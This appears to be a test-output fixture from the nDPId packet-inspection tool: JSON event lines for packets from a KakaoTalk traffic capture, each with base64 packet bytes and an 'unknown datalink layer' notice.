+00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":579657,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHRH8wwHJAa4KGFK8WgQsOACjKKGAbDQBfrNwQ1SapdpxobyoWQHXgYiRcLQPfzH9dhyM+heGqebO4B1ZbCL613Jr8sb8f67Vw\/EZfFWDhlmuM4s+69DXLfgRjT\/OF5OD6vpdCaBSjPjw0ymgv7iycu1NB+Hg9IKmsd1ZutoPm4QsVNi9mYQNaT4W5T0SeUHHh\/y5K0Ofx+QGmxCOnkQBZuXa032SOZeqJ3FS+ZSL\/g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":589026,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Ac2AbFF8i0QSWguGVRk16K3rbZ2SCVjcoat\/FIWNGKspQmIvkBRckx8xqyCkDQNM9yPjkP3UEHB9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":605506,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPxm2AbDQPfrOkw1SapdrC8a06HFXoMJnknsOkXbuHdiiYplU0ARn\/YQDbCk33u9Mr9tS13yl4cAVZNvi4o87ljm2OcBqXy3pLKw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":608863,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHRH8xwHJAa4KGFK8WgQsOACfjj6AbDQCfrN0A1SapdrVoekHqhJQwfddsQTLcf6NuBSfhd0l2zocORejVx\/mmHOAW8dL453V2HqpVfB9TvRjRu7ZCWTw6BH\/aUmrdjYCCy+Lww5vWQKnsI4KutQ8cITarkVUebxfAII72rPC756jC2+Rmv6pQt8vaELur3zxEhGrYJr6aCb0xHbs2MpIpQq8bbzQ7ckP4jV8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":633429,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAPxHbLgoYUrwByQGuLDhaBABgNE2AbFGJi0RDGguGVRmySsinDsBDUrBNgF2SRKDdzFDmwjZeUYqJXA+K6x789En0PfzyJZI1OYNHZ\/3YiB85imLUQm4U3WouiTGqXCqYEMx0WkiqjKfN0\/8i"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":640082,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAPxHa\/woYUrwByQGuLDhaBACPt3OAbFGKi0RG2guGVRlXMamyMjO6YEGMchWgUncQHzeYmutO8mQqZAG9zJjM5+R7PnAbJFLM507JoKAFotBJhcPihjIEKyU+OdsCFg5KtCagY8gCD6fVjsgz2GmAMgEHf522NuV4DVAemxKuhlSDN2NM2ZChDo0FVXVpLPZWjHFMErsCz5tagVg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":643225,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABiufKAbDQDfrN3w1SapdocCh4JDf8avinnt4NMdnNWpSiJ4AGIjnwVn67Xc+taDKqlFepNpRR0m2inyFo1HCebD8qFcu8o1k7A8M60F0me8S4lKZ9mLqNSvkXuy+o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":651282,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/2W6AbFF9i0QWGguGVRnTTlWbuz7MrmrH3\/ioPBkBjOLUOjCiQ\/osqPbgtQg\/zLHRu79yDvgpp\/RF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":659125,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHBH+CQHJAa4KGFK8WgYoHABdKX+AbFF+i0QZ2guGVRmTCQi7u1W\/d3ooNYgQekMAvBJFsZIRmVugJrEVKWnIvO3\/NjVdrLrk8cCcJE5EJc\/cQjvBHzoAGF7wGWP40W9xuzWJf7N5enLI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":679145,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKwlGAbDQEfrN7g1SapdpMg8DL0VVOwA4dwN1PAyNu\/XTLgrcZksIWzSiA6TKdDksjM0u\/d+pMkW7L\/yF0OgI4sTxsD\/s="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":699195,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPbsmAbDQFfrN\/Q1Sapdpr5A+wJXodKG314NhRU0Y80kefxDChWMVJvK+PnU5M31jHVoP82QWZZF263gfz9u1cgFbz32YL\/Czu3g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":705695,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAQBHaOgoYUrwByQGuKBxaBgBUAF+AbDQQfrOog1SapdpZhhiJKIGOjNNQ87XreV1xUk2rKNC4n7OspJ8XMENiitHrPjEKH8aXRKHlXTF1eq2DPReZG\/5v6sajki1RpTiq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":729010,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJMAAEAAHBH95wHJAa4KGFK8WgYoHAB\/tKeAbFF\/i0QdmguGVRlnnmdf7GZ8Lbg5Ap6EpFJVqO0L2XYiolGBa5b4FzNm9CiwylxPnP+orPe7C86ril1RjXcOPN2cBfpMrWFip6z+72xER42cqJe\/DP25EWp9iRTvqv66syllVtdBbTRN3+RbeFID+hb46wh2VA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":736731,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqufmByAAMC4ZVGb0txf2fpar55VdEb7f4IC88wu1p9QLIjxRXBm3N9H1cSHejirb2FRXchdbFVC49nlJGchRkEMslkZr6BLx+s0NpZ1xfVSoNvSj\/hi2AAAALpowHfzIlmqKfwg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":736884,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6WvuAbFGLi0RKmguGVRlyAw74s+6Wg8jdX1sPQlgc0oG9c9+6JXlg0JJmrIvQ5YQmVcQtIxCvHRe2ujGAFMiF0XcLhGEXHtq76\/5\/HCG0wZo73e\/aH4v8l7QXNDjw8Mdn8d\/Y94mHOo8D\/1qalkZDcDtQj1+tziIywXlbKp3RTZ0ICPiKSRk9DD0cUU5CqQMhz\/G7pbXOfAfYdMXPb3r\/BhbT1\/Z2anY8gAXMsKgYo78+SDZh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":744239,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMKUeAbDQRfrOsQ1Sapdrhy9n99g59rP6s\/cikH4NoI\/kS8UIrsUc5TwX6wnPIB9atX5ejeV39HT4CgwRDKFELuvQifJ3Rhg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":769049,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHRH9GAHJAa4KGFK8WgQsOABOMGCAbDQGfrODA1SapdrV7vhggfkbDNATEMqNUxZuGQ7hvghHrA\/wZ7RPEMk0p6q5GqAdCRulZcw+HGBs\/vWtzKzdGc4xpwcZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":769660,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFU\/CAbDQHfrOGw1SapdptKqOik3c6rYZHlcb8g+QekRH0SUbWVmHSmn+pL+XqWrnw\/\/zC9RpAUWpe+97Mb3wQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":770423,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC2h2yAbFGAi0QhWguGVRn+YngxocbxPL9Hchw+vrbzsrZy84q0HksZTDK6OmriJLjJTcdYFCbLL+3C4S2clSMr8LuSENXjmwvZB+uk2XttO2KGccoc2uV5jV6Qxg3CwceDwGOMAPDjAzT5IBRtWEvyGNv2tjNHj46QkFEB+n8HAPGteWPDm+g\/0OF0vvXCU52BifupwpXH9pY\/rIVTKzJSUXO5+igL\/rHhzVwWx+mQdwA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":787085,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGWkSAbDQSfrOwA1Sapdo2J8m3SRhKubO5k9h4cLLqDfSann8N8GTJ4CaFK+XWxT6dOAle8Xg68hNpn1nWA+7MBw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":791815,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLKsWAbDQIfrOKg1SapdrFqp8C6LHknbUfcAnfh0U28A9PWuiR6bZxZlqabWvs3e\/6QfoNBAxNTBLxWHWe1U8VfMhKIKKw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":792456,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL8AAEAAHBH9uwHJAa4KGFK8WgYoHACrrcKAbFGBi0QlGguGVRlb8nhlLzbPkc8Wnwx9xadOus8aqY3McWVZVp3RNGNqBgVqPpQot29pRfSrnqaDtPTHLNB9Td89qmebzRH2caN4dv7tcX4c8l\/OKppp1q+aKeloVQdLtNq8FXei0MB3S7\/UN4cIsmO9XqJ9tjx1PBu\/\/lmtfoVpdXUKMygwBPph6FId4sc7JpwSE5NpyPo4XB0IFFwvLW5i"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":832373,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL4AAEAAPxHa5AoYUrwByQGuLDhaBACqB5eAbFGMi0ROWguGVRlCv7LaBEJm\/FXo0UloHxjCaC9FfxEappooFBGpLnbIkM+07z91bwuDUsxI2aeodHVd9KPvXKtD0noHXnHcYxWuwGy6SUGPfcS\/T2qR\/D3FTJExEV2gd0gfE0OXojiyI5KfLTpq1B4ptktO5IUmz2Vd3ACzoAdgS1qQBDpHCmkt329r7VPl9YalY66H7VyRN75V4fXdO3E="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":838721,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6olWAbFGNi0RSGguGVRn1FN8wdA9Q8vtRCvACz\/aJu+sE0gJ4mAPCoIcydAV1LFIFY6JTaAwWN+Rqr8vENfPUDHWLu5qQLytEdIdacF+PGNTXbfj7\/ckvsDP2UtoMXFH8ose5TA8ZnsZ5l1XizTssmzC+W89bZ9\/cwc9sUS8CEEGcSv9QiNJm5pfoblmaIA7CCeTnKwTjyQWcRAspv57r1S9UZqcMl96YeAkrd4bw2WZefWGz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":857489,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBRNguAbDQTfrOzw1Sapdq3mTUu62xREGqmo79LboCtKcrcEWPmc9sQs\/6O1A4vzm+SrdkHSPV7lCbFPyl6daKcZQ7XQR7guR2m6HUr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859137,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK8AAEAAHBH9ywHJAa4KGFK8WgYoHACbLVWAbFGCi0Qo2guGVRmwyZlc+XuBluK28ySoCgRVsShq7gT1zHzizDv\/7mVWxjvDvOSkdSPAajdpzCF64\/GkuIPdkfMEe6wXrippzt\/roDIfa9mvsAX8\/VvO6652Upws3hedTC2yqSc32CpNNXTq5rrnp+f1elw9gslohOzvTaOpVQCYxbypSNhHc6IBiS6mbv3EhFo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859198,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHBH9wgHJAa4KGFK8WgYoHACkL\/qAbFGEi0QwWguGVRk0cIkO9kD5S3VEI6wvl+VFlAKPuc+Dc8W4WKwSMsYxiTfgnvtqZKrN9WV8VwbqXMmMOQTqrdLfxbDqT1sX0dW7DTi1rzAGbMzKOP8l5TzoeosF0tkYpVbTanuCz0oUtXXFvZEXyoFgsOOl4EXhjYlM2RTRJqV8KYOO39amblAWXL641GEpxhIpnOLE2gCKrt0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859229,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMEAAEAAHBH9uQHJAa4KGFK8WgYoHACtQveAbFGFi0Q0GguGVRkBil1d8mrAX0mToqjuUYJdBwdfotLO2jZhEmyFkztqMhFxvouh7JC9j57WInYeg1x9QPlIpO0ISw1kODuwAqSo3H+94MubopkU4X6N3+HM12XYO21oQPAgdRatQAemwDa\/H5IW26AlUuxLWZgn8xGuDtbKTWN8Bd7q79spwYaEfbUCk\/f2urFykd5syQq8XYGzW04rrmINIhg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859259,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKrKSAbDQKfrOSA1SapdqUlwAL3BJB5inTrRc\/ipTNb7BI5s8BbUSVipN646tG96TE27m3nHBmkVu\/xRpjd3SaoBv3xBU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859534,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMnV2AbDQJfrOOQ1SapdqrYvFmo2h7iUONq\/Mb2QIzKk1OE6pPy6AH0uVuIwwYr\/Qt10xp0vwY67GCVppH7idEz27Bl4psAA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859778,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLkgOAbDQLfrOVw1Sapdq6rEJXebqQKFFjYEzV7OTD+TK9nRBUpU7A2NyNjr3qP\/fKUoP+MEcvCGHgOjb87g7L5nY\/js5f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":859992,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJDQWAbDQMfrOZg1Sapdp9RBzjf0wMo8ibI7XIs+oRUib3vRmOfOAeGrauf8dIHCT0gxAvuUq3xDcDvVaduQt5KDVCWg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 